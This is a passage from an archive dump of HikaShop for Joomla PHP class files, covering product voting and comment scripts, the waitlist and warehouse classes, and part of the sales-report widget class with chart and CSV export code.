			var el = document.getElementById(hikashop_vote_id);
			if(xhr.responseText == "1"){el.innerHTML = " ' .
JText::_('THANK_FOR_VOTE', true) . '";}
			else if(xhr.responseText == "3"){el.innerHTML = " '
. JText::_('ALREADY_VOTE_USEFUL', true) . '";}
			else{el.innerHTML = " ' . JText::_('VOTE_ERROR',
true) . '";}
		});
		setTimeout("document.location=\''.$current_url.'\'",2250);
	}
	else{
		document.getElementById(hikashop_vote_id).innerHTML = " ' .
JText::_('ONLY_REGISTERED_CAN_VOTE', true) . '";
		setTimeout("document.getElementById(\'hikashop_vote_id\').innerHTML
= \'\'",2250);
	}
}

function hikashop_send_vote(hikashop_vote, from){
	var re = new RegExp(\'id_(.*?)_hikashop\');
	var m = re.exec(from);
	if(m != null){
		var hikashop_vote_ref_id = "";
		for (i = 1; i < m.length; i++) {
			hikashop_vote_ref_id = hikashop_vote_ref_id + m[i] + "\n";
		}
	}else{
		var hikashop_vote_ref_id =
document.getElementById("hikashop_vote_ref_id").value;
	}
	document.getElementById("hikashop_vote_ok_"+parseInt(hikashop_vote_ref_id)).value
= "1";
	var hikashop_vote_vote_comment 	= ' . $vote_comment . ';
	var hikashop_vote_con_req		= ' . $hikashop_vote_con_req . ';
	var hikashop_vote_user_id 		=
document.getElementById("hikashop_vote_user_id_"+parseInt(hikashop_vote_ref_id)).value;
	var vote_type					=
document.getElementById("vote_type_"+parseInt(hikashop_vote_ref_id)).value;
	var div_vote_status				=
"hikashop_vote_status_"+parseInt(hikashop_vote_ref_id);
	if((hikashop_vote_con_req == 1 && hikashop_vote_user_id !=
"") || hikashop_vote_con_req == 0){
		if(hikashop_vote_vote_comment == 1){//User must enter a comment to note a
product
			if(from =="hikashop_vote_rating_id"){
				document.getElementById("hikashop_vote_status_form").innerHTML
= " ' . JText::_('LET_COMMENT_TO_VALID_VOTE', true) .
'";
				setTimeout("document.getElementById(\'hikashop_vote_status_form\').innerHTML
= \'\'",2250);
			}else{
				var el = document.getElementById(div_vote_status);
				el.innerHTML = " ' .
JText::_('LET_COMMENT_TO_VALID_VOTE', true) . '";
				setTimeout(function(){el.innerHTML = "";},2250);
			}
		}
		else{// Only vote - sending request to saveFrontend() function, and
analysing the result, status(thanks, bought, error)
			if(from =="hikashop_vote_rating_id"){
				var el =
document.getElementById("hikashop_vote_status_form");
			}else{
				var el = document.getElementById(div_vote_status);
			}
			data = "vote_type=" + encodeURIComponent(vote_type);
			data += "&hikashop_vote_type=vote";
			data += "&hikashop_vote=" +
encodeURIComponent(hikashop_vote);
			data += "&hikashop_vote_user_id=" +
encodeURIComponent(hikashop_vote_user_id);
			data += "&hikashop_vote_ref_id=" +
encodeURIComponent(hikashop_vote_ref_id);
			window.Oby.xRequest("'.$ajaxUrl.'", {mode:
"POST", data: data}, function(xhr) {
				if(xhr.responseText == "1"){el.innerHTML = " ' .
JText::_('VOTE_UPDATED', true) . '";}
				else if(xhr.responseText == "2"){el.innerHTML = " '
. JText::_('THANK_FOR_VOTE', true) . '";}
				else if(xhr.responseText == "3"){el.innerHTML = " '
. JText::_('MUST_HAVE_BUY_TO_VOTE', true) . '";}
				else{el.innerHTML = " ' . JText::_('VOTE_ERROR',
true) . '";}
			});

			setTimeout("document.location=\''.$current_url.'\'",2250);
		}
	}
	else{ //The user must be registered to vote
		if(from =="hikashop_vote_rating_id"){
			document.getElementById("hikashop_vote_status_form").innerHTML
= " ' . JText::_('ONLY_REGISTERED_CAN_VOTE', true) .
'";
			setTimeout("document.getElementById(\'hikashop_vote_status_form\').innerHTML
= \'\'",2250);
		}else{
			var el = document.getElementById(div_vote_status);
			el.innerHTML = " ' .
JText::_('ONLY_REGISTERED_CAN_VOTE', true) . '";
			setTimeout(function(){el.innerHTML = "";},2250);
		}
	}
}

function hikashop_send_comment(){ //Action on submit comment
	var hikashop_vote_ref_id 		=
document.getElementById("hikashop_vote_ref_id").value;
	var hikashop_vote_comment 		=
encodeURIComponent(trim(document.getElementById("hikashop_vote_comment").value));
	var vote_type					=
document.getElementById("vote_type_"+parseInt(hikashop_vote_ref_id)).value;
	var hikashop_vote_ok 			=
document.getElementById("hikashop_vote_ok_"+parseInt(hikashop_vote_ref_id)).value;
	var hikashop_vote_vote_comment 	= ' . $vote_comment . ';
	var hikashop_vote_con_req		= ' . $hikashop_vote_con_req . ';
	var email_comment_bool 			= ' . $email_comment . ';
	var hikashop_vote_user_id 		=
document.getElementById("hikashop_vote_user_id_"+parseInt(hikashop_vote_ref_id)).value;
	var pseudo_comment 				=
document.getElementById("pseudo_comment").value;
	var email_comment				=
document.getElementById("email_comment").value;
	var reg = new
RegExp(\'^[a-z0-9]+([_|\.|-]{1}[a-z0-9]+)*@[a-z0-9]+([_|\.|-]{1}[a-z0-9]+)*[\.]{1}[a-z]{2,6}$\',
\'i\'); // TEST EMAIL ADDRESS
	var verif_mail = reg.test(email_comment);

	if (hikashop_vote_user_id != ""){verif_mail = true;}
	if((hikashop_vote_con_req == 1 && hikashop_vote_user_id !=
"") || hikashop_vote_con_req == 0){ //if connection not required
		if(pseudo_comment == "" || (email_comment_bool == 1 &&
verif_mail == false)){ //if not connected
			if(pseudo_comment == ""){
				document.getElementById("hikashop_vote_status_form").innerHTML
= "' . JText::_('PSEUDO_REQUIRED', true) .
'";
				setTimeout("document.getElementById(\'hikashop_vote_status_form\').innerHTML
= \'\'",2250);
			}else{
				document.getElementById("hikashop_vote_status_form").innerHTML
= "' . JText::_('EMAIL_INVALID', true) . '";
				setTimeout("document.getElementById(\'hikashop_vote_status_form\').innerHTML
= \'\'",2250);
			}
		}else{
			if(hikashop_vote_vote_comment == 1){ // Save comment & vote.
				var hikashop_vote =
document.getElementById("hikashop_vote_rating_id").value;
				if(hikashop_vote_comment == "" || hikashop_vote_ok == 0){ //
Just show a message
					document.getElementById("hikashop_vote_status_form").innerHTML
= "' . JText::_('VOTE_AND_COMMENT_PLEASE', true) .
'";
					setTimeout("document.getElementById(\'hikashop_vote_status_form\').innerHTML
= \'\'",2250);
				}else{
					var data = window.Oby.getFormData("hikashop_comment_form");
					var regEx = /ctrl=(.*?)&/;
					data = data.replace(regEx,"");
					var regEx = /task=(.*?)&/;
					data = data.replace(regEx,"");
					var regEx = /limitstart=(.*?)&/;
					data = data.replace(regEx,"");
					data += "&hikashop_vote_type=both";
					regEx = /hikashop_vote_ref_id/;
					if(!regEx.test(data)){
						data += "&vote_type=" + encodeURIComponent(vote_type);
						data += "&email_comment=" +
encodeURIComponent(email_comment);
						data += "&pseudo_comment=" +
encodeURIComponent(pseudo_comment);
						data += "&hikashop_vote_user_id=" +
encodeURIComponent(hikashop_vote_user_id);
						data += "&hikashop_vote_ref_id=" +
encodeURIComponent(hikashop_vote_ref_id);
						data += "&hikashop_vote_comment=" +
encodeURIComponent(hikashop_vote_comment);
					}
					data += "&hikashop_vote=" +
encodeURIComponent(hikashop_vote);
					window.Oby.xRequest("'.$ajaxUrl.'", {mode:
"POST", data: data}, function(xhr) {
						var el =
document.getElementById("hikashop_vote_status_form");
						if(xhr.responseText == "1"){el.innerHTML = " ' .
JText::_('THANKS_FOR_PARTICIPATION', true) .
'";document.getElementById("hikashop_vote_comment").value="";}
						else if(xhr.responseText == "3"){el.innerHTML = "
' . JText::_('MUST_HAVE_BUY_TO_VOTE', true) .
'";}
						else if(xhr.responseText == "2"){el.innerHTML = "
' . JText::_('REACH_LIMIT_OF_COMMENT', true) .
'";}
						else{el.innerHTML = " ' . JText::_('VOTE_ERROR',
true) . '";}
					});
					setTimeout("document.location=\''.$current_url.'\'",2250);
				}
			}else if(hikashop_vote_comment != ""){
				var data = window.Oby.getFormData("hikashop_comment_form");
				var regEx = /ctrl=(.*?)&/;
				data = data.replace(regEx,"");
				var regEx = /task=(.*?)&/;
				data = data.replace(regEx,"");
				var regEx = /limitstart=(.*?)&/;
				data = data.replace(regEx,"");
				data += "&hikashop_vote_type=comment";
				regEx = /hikashop_vote_ref_id/;
				if(!regEx.test(data)){
					data += "&vote_type=" + encodeURIComponent(vote_type);
					data += "&email_comment=" +
encodeURIComponent(email_comment);
					data += "&pseudo_comment=" +
encodeURIComponent(pseudo_comment);
					data += "&hikashop_vote_user_id=" +
encodeURIComponent(hikashop_vote_user_id);
					data += "&hikashop_vote_ref_id=" +
encodeURIComponent(hikashop_vote_ref_id);
					data += "&hikashop_vote_comment=" +
encodeURIComponent(hikashop_vote_comment);
				}
				window.Oby.xRequest("'.$ajaxUrl.'", {mode:
"POST", data: data}, function(xhr) {
					var el =
document.getElementById("hikashop_vote_status_form");
					if(xhr.responseText == "1"){el.innerHTML = " ' .
JText::_('THANKS_FOR_COMMENT', true) .
'";document.getElementById("hikashop_vote_comment").value="";}
					else if(xhr.responseText == "3"){el.innerHTML = "
' . JText::_('MUST_HAVE_BUY_TO_VOTE', true) .
'";}
					else if(xhr.responseText == "2"){el.innerHTML = "
' . JText::_('REACH_LIMIT_OF_COMMENT', true) .
'";}
					else{el.innerHTML = " ' . JText::_('VOTE_ERROR',
true) . '";}
				});
				setTimeout("document.location=\''.$current_url.'\'",2250);
			}else{
				document.getElementById("hikashop_vote_status_form").innerHTML
= " ' . JText::_('PLEASE_COMMENT', true) .
'";
				setTimeout("document.getElementById(\'hikashop_vote_status_form\').innerHTML
= \'\'",2250);
			}
		}
	}else{
		document.getElementById("hikashop_vote_status_form").innerHTML
= " ' . JText::_('ONLY_REGISTERED_CAN_COMMENT', true) .
'";
		setTimeout("document.getElementById(\'hikashop_vote_status_form\').innerHTML
= \'\'",2250);
	}
}
';
		if(!HIKASHOP_PHP5) {
			$doc =& JFactory::getDocument();
		} else {
			$doc = JFactory::getDocument();
		}
		$doc->addScriptDeclaration("\n<!--\n" . $js .
"\n//-->\n");
		if(!HIKASHOP_J30)
			JHTML::_('behavior.mootools');
		else
			JHTML::_('behavior.framework');
	}

	function sendNotifComment($vote_id, $comment, $vote_ref_id, $user_id,
$pseudo, $email, $vote_type){
		if($pseudo != '0'){
			$username = $pseudo;
			$email = $email;
			$config =& hikashop_config();
			$email_enabled = $config->get('email_comment');
			if($email_enabled == 0){
				$email = "Not required";
			}
		} else {
			$userClass = hikashop_get('class.user');
			$userInfos = $userClass->get($user_id);
			if(!empty($userInfos)){
				$username	= $userInfos->username;
				$email	= $userInfos->email;
			}
		}

		$result = new stdClass();
		$result->vote_id = $vote_id;
		$result->vote_type = $vote_type;
		$result->product_id = $vote_ref_id;
		$result->username_comment = $username;
		$result->email_comment = $email;
		$result->comment = $comment;

		$type = null;
		if($vote_type == 'product') {
			$productClass = hikashop_get('class.product');
			$type = $productClass->get($vote_ref_id);
		}

		$mailClass = hikashop_get('class.mail');
		$infos = new stdClass();
		$infos->type =& $type;
		$infos->result =& $result;
		$mail = $mailClass->get('new_comment',$infos);
		$mail->subject = JText::sprintf($mail->subject,HIKASHOP_LIVE);
		$config =& hikashop_config();

		$mail->dst_email = $config->get('email_each_comment');
		$mailClass->sendMail($mail);
		return ;
	}
}
waitlist.php000064400000002560151160302620007114 0ustar00<?php
/**
 * @package	HikaShop for Joomla!
 * @version	2.2.3
 * @author	hikashop.com
 * @copyright	(C) 2010-2013 HIKARI SOFTWARE. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */
defined('_JEXEC') or die('Restricted access');
?><?php
class hikashopWaitlistClass extends hikashopClass{
	var $tables = array('waitlist');
	var $pkeys = array('waitlist_id');

	function get($cid=0,$default=''){
		$element = parent::get($cid,$default);
		if($element){
			$class = hikashop_get('class.product');
			$product = $class->get($element->product_id);
			if($product){
				foreach(get_object_vars($product) as $k => $v){
					$element->$k = $v;
				}
			}
		}
		return $element;
	}

	function saveForm(){
		$element = new stdClass();
		$element->waitlist_id = hikashop_getCID('waitlist_id');
		$formData = JRequest::getVar( 'data', array(), '',
'array' );
		foreach($formData['waitlist'] as $column => $value){
			hikashop_secureField($column);
			$element->$column = strip_tags($value);
		}
		if(!empty($element->date)){
			$element->date=hikashop_getTime($element->date);
		}
		$result = $this->save($element);
		return $result;
	}

	function save(&$element){
		if(empty($element->waitlist_id) && empty($element->date)){
			$element->date = time();
		}
		$status = parent::save($element);
		return $status;
	}
}
warehouse.php000064400000006565151160302620007267 0ustar00<?php
/**
 * @package	HikaShop for Joomla!
 * @version	4.4.1
 * @author	hikashop.com
 * @copyright	(C) 2010-2021 HIKARI SOFTWARE. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */
defined('_JEXEC') or die('Restricted access');
?><?php
class hikashopWarehouseClass extends hikashopClass {
	var $tables = array('warehouse');
	var $pkeys = array('warehouse_id');
	var $toggle =
array('warehouse_published'=>'warehouse_id');

	function saveForm() {
		$element = new stdClass();
		$element->warehouse_id = hikashop_getCID('warehouse_id');
		$formData = hikaInput::get()->get('data', array(),
'array');
		jimport('joomla.filter.filterinput');
		$safeHtmlFilter = JFilterInput::getInstance(array(), array(), 1, 1);
		foreach($formData['warehouse'] as $column => $value) {
			hikashop_secureField($column);
			$element->$column = $safeHtmlFilter->clean(strip_tags($value),
'string');
		}
		$translationHelper = hikashop_get('helper.translation');
		$translationHelper->getTranslations($element);
		$status = $this->save($element);

		return $status;
	}

	function save(&$element) {
		$isNew = empty($element->warehouse_id);
		$element->warehouse_modified=time();
		if($isNew) {
			$element->warehouse_created=$element->warehouse_modified;
			$orderHelper = hikashop_get('helper.order');
			$orderHelper->pkey = 'warehouse_id';
			$orderHelper->table = 'warehouse';
			$orderHelper->orderingMap = 'warehouse_ordering';
			$orderHelper->reOrder();
		}
		$status = parent::save($element);
		if(!$status) {
			return false;
		}
		return $status;
	}

	public function &getNameboxData($typeConfig, &$fullLoad, $mode,
$value, $search, $options) {

		$ret = array(
			0 => array(),
			1 => array()
		);

		$db = JFactory::getDBO();

		$start = (int)@$typeConfig['start'];
		if(!empty($options['start']))
			$start = (int)@$options['start'];

		$limit = (int)@$typeConfig['limit'];
		if(!empty($options['limit']))
			$limit = (int)$options['limit'];
		if(empty($limit))
			$limit = 30;

		if(!empty($search)) {
			$searchStr = "'%" . ((HIKASHOP_J30) ?
$db->escape($search, true) : $db->getEscaped($search, true) ) .
"%'";
			$query = 'SELECT warehouse_id, warehouse_name '.
				' FROM ' . hikashop_table('warehouse') .
				' WHERE warehouse_published = 1 AND warehouse_name LIKE ' .
$searchStr .
				' ORDER BY warehouse_name';
		} else {
			$query = 'SELECT warehouse_id, warehouse_name '.
				' FROM ' . hikashop_table('warehouse') .
				' WHERE warehouse_published = 1 '.
				' ORDER BY warehouse_name';
		}

		$db->setQuery($query, $start, $limit);
		$warehouses = $db->loadObjectList('warehouse_id');
		foreach($warehouses as $warehouse) {
			$ret[0][$warehouse->warehouse_id] = $warehouse;
		}

		if(count($warehouses) == $limit)
			$fullLoad = false;

		if(!empty($value)) {
			if(!is_array($value))
				$value = array($value);

			if($fullLoad) {
				foreach($value as $v) {
					if(isset($ret[0][(int)$v]))
						$ret[1][(int)$v] = $ret[0][(int)$v];
				}
			} else {
				hikashop_toInteger($value);

				$query = 'SELECT warehouse_id, warehouse_name '.
					' FROM ' . hikashop_table('warehouse') .
					' WHERE warehouse_id IN ('.implode(',',
$value).') '.
					' ORDER BY warehouse_name';
				$db->setQuery($query);
				$ret[1] = $db->loadObjectList('warehouse_id');
			}
		}

		return $ret;
	}
}
widget.php000064400000211421151160302620006535 0ustar00<?php
/**
 * @package	HikaShop for Joomla!
 * @version	2.2.3
 * @author	hikashop.com
 * @copyright	(C) 2010-2013 HIKARI SOFTWARE. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */
defined('_JEXEC') or die('Restricted access');
?><?php
class hikashopWidgetClass extends hikashopClass {
	var $pkeys=array('widget_id');
	var $tables=array('widget');
	var $toggle =
array('widget_published'=>'widget_id');

	var $order_type = 'sale';

	function get($cid=0,$default=''){
		if(!empty($cid)){
			$widget = parent::get($cid);
			if(!empty($widget->widget_params)){
				$widget->widget_params = unserialize($widget->widget_params);
				if(!empty($widget->widget_params->status)){
					$widget->widget_params->status =
explode(',',$widget->widget_params->status);
				}
			}
			return $widget;
		}
		$filters=array();
		$filters[]='widget_published=1';
		hikashop_addACLFilters($filters,'widget_access');
		$filters=implode(' AND ', $filters);
		$query = 'SELECT * FROM
'.hikashop_table('widget').' WHERE
'.$filters.' ORDER BY widget_ordering ASC';
		$this->database->setQuery($query);
		$widgets = $this->database->loadObjectList();
		if(!empty($widgets)){
			foreach($widgets as $k => $widget){
				if(!empty($widget->widget_params)){
					$widgets[$k]->widget_params =
unserialize($widget->widget_params);
					if(!empty($widgets[$k]->widget_params->status)){
						$widgets[$k]->widget_params->status =
explode(',',$widgets[$k]->widget_params->status);
					}
				}
			}
		}
		return $widgets;
	}

	function save(&$element){
		if(!empty($element->widget_params) &&
!is_string($element->widget_params)){
			if($element->widget_params->display=='listing'
&& !isset($element->widget_params->region)){
				$element->widget_params->region='world';
			}
			if(!isset($element->widget_params->status))
$element->widget_params->status='';
			if(is_array($element->widget_params->status)){
				$element->widget_params->status =
implode(',',$element->widget_params->status);
			}
			$element->widget_params = serialize($element->widget_params);
		}
		return parent::save($element);
	}

	function saveForm(){
		$widget = new stdClass();
		$table = new stdClass();
		$formData = JRequest::getVar( 'data', array(), '',
'array' );
		$deleteRow = JRequest::getVar( 'delete_row');
		$widget->widget_id = hikashop_getCID('widget_id');
		if(!empty($formData)){
			if(isset($formData['edit_row'])){
				$widget_id=$formData['widget']['widget_id'];
				$class = hikashop_get('class.widget');
				if(!empty($widget_id)){
					$widget = $class->get($widget_id);
				}
				$widget->widget_name=$formData['widget']['widget_name'];
				$widget->widget_published=$formData['widget']['widget_published'];
				$widget->widget_access=$formData['widget']['widget_access'];
				$widget->widget_params->display='table';

				foreach($formData['widget']['widget_params']['table']
as $key=>$tab){
					$theKey=$key;
				}

				foreach($formData['widget']['widget_params']['table'][$theKey]
as $column => $value){
					hikashop_secureField($column);
					if(is_array($value)){
						$table->$column=new stdClass();
						foreach($value as $k2 => $v2){
							hikashop_secureField($k2);
							if($k2 == 'start' || $k2 == 'end'){
								 $v2 = hikashop_getTime($v2);
							}
							if(is_array($v2)){
								if($k2=='filters' || $k2=="compares"){
									$v2 = serialize($v2);
								}
								else{
									$v2 = implode(',',$v2);
								}
							}
							$table->{$column}->$k2 = strip_tags($v2);
						}
					}else{
						$table->$column = strip_tags($value);
					}
				}
				$categories = JRequest::getVar( 'row_category', array(),
'', 'array' );
				JArrayHelper::toInteger($categories);
				$cat=array();
				foreach($categories as $category){
					$cat[]=$category;
				}
				if(empty($cat)){
					$cat='all';
				}else{
					$cat=implode(',',$cat);
				}
				$widget->widget_params->categories = $cat;

				$coupons = JRequest::getVar( 'row_coupon', array(),
'', 'array' );
				JArrayHelper::toInteger($coupons);
				$coupons=serialize($coupons);
				$widget->widget_params->coupons = $coupons;
				$widget->widget_params->table[$theKey]=$table;
			}else
if($formData['widget']['widget_params']['display']=='table'){
				$class = hikashop_get('class.widget');
				if(!empty($widget->widget_id)){
					$widget = $class->get($widget->widget_id);
				}
				if($deleteRow>=0){
					unset($widget->widget_params->table[$deleteRow]);
				}else{
					$widget->widget_name=$formData['widget']['widget_name'];
					$widget->widget_published=$formData['widget']['widget_published'];
					$widget->widget_access=$formData['widget']['widget_access'];
				}
			}else{
				if($formData['widget']['widget_params']['periodType']
&&
isset($formData['widget']['widget_params']['proposedPeriod'])
&&
$formData['widget']['widget_params']['proposedPeriod']=='all'){
					$formData['widget']['widget_params']['period_compare']='none';
				}
				foreach($formData['widget'] as $column => $value){
					hikashop_secureField($column);
					if(is_array($value)){
						$widget->$column=new stdClass();
						foreach($value as $k2 => $v2){
							hikashop_secureField($k2);
							if(is_array($v2)){
								if($k2=='filters' || $k2=="compares"){
									$v2=serialize($v2);
								}
								else{
									$v2 = implode(',',$v2);
								}
							}
							$widget->{$column}->$k2 = strip_tags($v2);
						}
					}else{
						$widget->$column = strip_tags($value);
					}
				}
			}
		}
		if(!empty($widget->widget_params->start)){
			$widget->widget_params->start =
hikashop_getTime($widget->widget_params->start);
		}
		if(!empty($widget->widget_params->end)){
			$widget->widget_params->end =
hikashop_getTime($widget->widget_params->end);
		}
		if(isset($widget->widget_params->compare_with)){
			if($widget->widget_params->compare_with=='periods'){
				$widget->widget_params->compares=null;
			}
		}
		$categories = JRequest::getVar( 'category', array(),
'', 'array' );
		JArrayHelper::toInteger($categories);
		$cat=array();
		foreach($categories as $category){
			$cat[]=$category;
		}
		if(empty($cat)){
			$cat='all';
		}else{
			$cat=implode(',',$cat);
		}

		$products = JRequest::getVar( 'widget', array(), '',
'array' );
		JArrayHelper::toInteger($products);
		$prods=serialize($products);

		$coupons = JRequest::getVar( 'coupon', array(), '',
'array' );
		JArrayHelper::toInteger($coupons);
		$coupons=serialize($coupons);

		if(isset($formData['edit_row'])){
			$widget->widget_params->table[$theKey]->widget_params->categories
= $cat;
			$widget->widget_params->table[$theKey]->widget_params->products
= $prods;
			$widget->widget_params->table[$theKey]->widget_params->coupons
= $coupons;
		}else{
			$widget->widget_params->categories = $cat;
			$widget->widget_params->products = $prods;
			$widget->widget_params->coupons = $coupons;
		}

		$status=$this->save($widget);

		if($status){
			$orderClass = hikashop_get('helper.order');
			$orderClass->pkey = 'widget_id';
			$orderClass->table = 'widget';
			$orderClass->orderingMap = 'widget_ordering';
			$orderClass->reOrder();
		}

		return $status;
	}

	function displayResult($results){
		?>
		<script language="JavaScript"
type="text/javascript">
			function drawChart(){
				var dataTable = new google.visualization.DataTable();
				dataTable.addColumn('string');
				<?php
				$dates = array();
				$types = array();
				$i= 0;
				$a = 1;
				foreach($results as $oneResult){
					if(!isset($dates[$oneResult->groupingdate])){
						$dates[$oneResult->groupingdate] = $i;
						$i++;
						echo "dataTable.addRows(1);"."\n";
						echo
"dataTable.setValue(".$dates[$oneResult->groupingdate].",
0,
'".strftime($this->dateformat,strtotime($oneResult->groupingdate))."');";
					}
					if(!isset($types[$oneResult->type])){
						$types[$oneResult->type] = $a;
						echo
"dataTable.addColumn('number','".$oneResult->type."');"."\n";
						$a++;
					}
					echo
"dataTable.setValue(".$dates[$oneResult->groupingdate].",
".$types[$oneResult->type].",
".$oneResult->total.");";
				}
				?>

				var vis = new google.visualization.<?php echo $this->charttype;
?>(document.getElementById('chart'));
				var options = {
					width:1200,
					height:500,
					legend:'right',
					title: 'Orders',
					legendTextStyle: {color:'#333333'}
				};
				vis.draw(dataTable, options);
			}

			google.load("visualization", "1",
{packages:["corechart"]});
			google.setOnLoadCallback(drawChart);
		</script>
		<?php
	}

	function csv(){
		if(hikashop_level(2)){
			$widget_id = hikashop_getCID('widget_id');
			if($widget_id){
				$widget = $this->get($widget_id);
				if($widget->widget_params->display=='table'){
					$app = JFactory::getApplication();
					$message=JText::_('CANNOT_EXPORT_THIS_FILE');
					$app->enqueueMessage( $message );
					$app->redirect(hikashop_completeLink("report&task=edit&cid[]=".$widget_id,
false, true));
				}
				$this->data($widget,true);
				$encodingClass = hikashop_get('helper.encoding');
				@ob_clean();
				header("Pragma: public");
				header("Expires: 0"); // set expiration time
				header("Cache-Control: must-revalidate, post-check=0,
pre-check=0");
				header("Content-Type: application/force-download");
				header("Content-Type: application/octet-stream");
				header("Content-Type: application/download");
				header("Content-Disposition: attachment;
filename=hikashopexport.csv;");
				header("Content-Transfer-Encoding: binary");
				$eol= "\r\n";
				$config =& hikashop_config();
				$separator = $config->get('csv_separator',";");
				echo implode($separator,$widget->exportFields).$eol;
				$missing = array();
				$convert_date = $config->get('convert_date',DATE_RFC822);
				foreach($widget->elements as $el){
					$line = array();
					foreach($widget->exportFields as $field){
						if(!isset($missing[$field])){
							if(isset($el->$field)){
								if($convert_date &&
in_array($field,array('user_created','order_created','order_modified')))
$el->$field=hikashop_getDate($el->$field,$convert_date);
								$line[]='"'.str_replace(array("\r","\n"),array('\r','\n'),$el->$field).'"';
							}else{
								$missing[$field]=$field;
							}
						}
					}
					if(empty($missing)){
						echo
$encodingClass->change(implode($separator,$line),'UTF-8',$widget->widget_params->format).$eol;
					}
				}
				if(!empty($missing)){
					@ob_clean();
					$fieldsLeft = array();
					foreach($widget->exportFields as $field){
						if(!isset($missing[$field])){
							$fieldsLeft[]=$field;
						}
					}
					echo implode($separator,$fieldsLeft).$eol;

					foreach($widget->elements as $el){
						$line = array();
						foreach($fieldsLeft as $field){
							if($convert_date &&
in_array($field,array('user_created','order_created','order_modified')))
$el->$field=hikashop_getDate($el->$field,$convert_date);
							$line[]='"'.str_replace(array("\r","\n"),array('\r','\n'),$el->$field).'"';
						}
						echo
$encodingClass->change(implode($separator,$line),'UTF-8',$widget->widget_params->format).$eol;
					}
				}
				exit;
			}else{
				$app = JFactory::getApplication();
				$app->enqueueMessage();
				$this->listing();
			}
		}
	}

	function loadDatas(&$element){
		$db = JFactory::getDBO();
		if(isset($element->widget_params->filters) &&
!empty($element->widget_params->filters) &&
is_string($element->widget_params->filters)){
			$element->widget_params->filters=unserialize($element->widget_params->filters);
		}
		if(isset($element->widget_params->compares) &&
!empty($element->widget_params->compares) &&
$element->widget_params->compares!='0:,' &&
is_string($element->widget_params->compares)){
			$element->widget_params->compares=unserialize($element->widget_params->compares);
		}

		if(isset($element->widget_params->categories) &&
$element->widget_params->categories!='all' &&
is_string($element->widget_params->categories)){
			$categories=array();
			$this->categories= explode(",",
$element->widget_params->categories);
			if(!empty($this->categories)){
				foreach($this->categories as $k => $cat){
					$categories[$k] = new stdClass();
					$categories[$k]->category_id=$cat;
				}
				$db->setQuery('SELECT * FROM
'.hikashop_table('category').' WHERE category_id IN
('.implode(',',$this->categories).')');
				$cats = $db->loadObjectList('category_id');
				foreach($this->categories as $k => $cat){
					$element->widget_params->filters['cat.category_id'][$cat]=$cat;
					if(!empty($cats[$cat])){
						$categories[$k]->category_name = $cats[$cat]->category_name;
					}else{
						$categories[$k]->category_name =
JText::_('CATEGORY_NOT_FOUND');
					}
				}
			}
			$element->widget_params->categories=$categories;
			if($element->widget_params->category_childs &&
!empty($categories)){
				$parents=array();
				foreach($categories as $cat){
					$parents[]=$cat->category_id;
				}
				$categoryClass = hikashop_get('class.category');
				$childs = $categoryClass->getChilds($parents,true);
				$childs_id=array();
				foreach($childs as $child){
					$childs_id[]=$child->category_id;
				}
				$element->widget_params->childs=$childs_id;
			}
		}

		if(isset($element->widget_params->products) &&
is_string($element->widget_params->products)){
			$products=array();
			$this->products=
unserialize($element->widget_params->products);
			if(!empty($this->products)){
				foreach($this->products as $k => $prod){
					$products[$k] = new stdClass();
					$products[$k]->product_id=$prod;
				}

				$db->setQuery('SELECT * FROM
'.hikashop_table('product').' WHERE product_id IN
('.implode(',',$this->products).')');
				$prods = $db->loadObjectList('product_id');
				foreach($this->products as $k => $prod){
					$element->widget_params->filters['prod.product_id'][$prod]=$prod;
					if(!empty($prods[$prod])){
						$products[$k]->product_name = $prods[$prod]->product_name;
					}else{
						$products[$k]->product_name =
JText::_('PRODUCT_NOT_FOUND');
					}
				}
			}
			$element->widget_params->products=$products;
		}

		if(isset($element->widget_params->payment) &&
!empty($element->widget_params->payment)){
			if(!is_array($element->widget_params->payment)){
				$element->widget_params->payment =
explode(',',$element->widget_params->payment);
				$methods=array();
				foreach($element->widget_params->payment as $paymentMethod){
					$temp=explode('_',$paymentMethod);
					$methods[]=$temp[0];
				}
				$element->widget_params->filters['a.order_payment_method']=$methods;
			}
		}

		if(isset($element->widget_params->shipping) &&
!empty($element->widget_params->shipping)){
			if(!is_array($element->widget_params->shipping)){
				$element->widget_params->shipping=explode(',',$element->widget_params->shipping);
				$methods=array();
				foreach($element->widget_params->shipping as $paymentMethod){
					$temp=explode('_',$paymentMethod);
					$methods[]=$temp[0];
					$ids[]=$temp[1];
				}
				$element->widget_params->filters['a.order_shipping_method']=$methods;
				$element->widget_params->filters['a.order_shipping_id']=$ids;
			}
		}

		if(isset($element->widget_params->coupons) &&
!empty($element->widget_params->coupons)){
			if(is_string($element->widget_params->coupons))$element->widget_params->coupons=unserialize($element->widget_params->coupons);
			if(!empty($element->widget_params->coupons)){
				foreach($element->widget_params->coupons as $k => $coupon){
					if(is_object($coupon)){
						$element->widget_params->coupons[$k] =
$coupon->discount_id;
					}
				}
				$db->setQuery('SELECT * FROM
'.hikashop_table('discount').' WHERE discount_id IN
('.implode(',',$element->widget_params->coupons).')');
				$couponList = $db->loadObjectList();
				foreach($couponList as $coupon){
					$coupons[]=$coupon->discount_code;
				}
				$element->widget_params->coupons = $db->loadObjectList();
				$element->widget_params->filters['a.order_discount_code']=$coupons;
			}
		}

		if(!empty($element->widget_params->shipping)){
			$element->widget_params->shipping_id = array();
			$element->widget_params->shipping_type = array();
			foreach($element->widget_params->shipping as $method){
				list($shipping_type,$shipping_id) = explode('_',$method,2);
				$element->widget_params->shipping_id[] = $shipping_id;
				$element->widget_params->shipping_type[] = $shipping_type;
			}
		}else{
			$element->widget_params->shipping_id = array();
			$element->widget_params->shipping_type = array();
		}

		if(!empty($element->widget_params->payment)){
			$element->widget_params->payment_id = array();
			$element->widget_params->payment_type = array();
			foreach($element->widget_params->payment as $method){
				list($shipping_type,$shipping_id) = explode('_',$method,2);
				$element->widget_params->payment_id[] = $shipping_id;
				$element->widget_params->payment_type[] = $shipping_type;
			}
		}else{
			$element->widget_params->payment_id = array();
			$element->widget_params->payment_type = array();
		}
	}

	function data(&$widget,$csv=false){
		$this->loadDatas($widget);

		$filters = array();
		$leftjoin = array();
		$groupby_add='';
		$select='SELECT ';
		$pageInfo=null;
		$type = array();
		$fieldtype='';
		$date_field='';
		$diff=0;
		$selectAdd='';
		$db = JFactory::getDBO();
		if(!hikashop_level(2)){
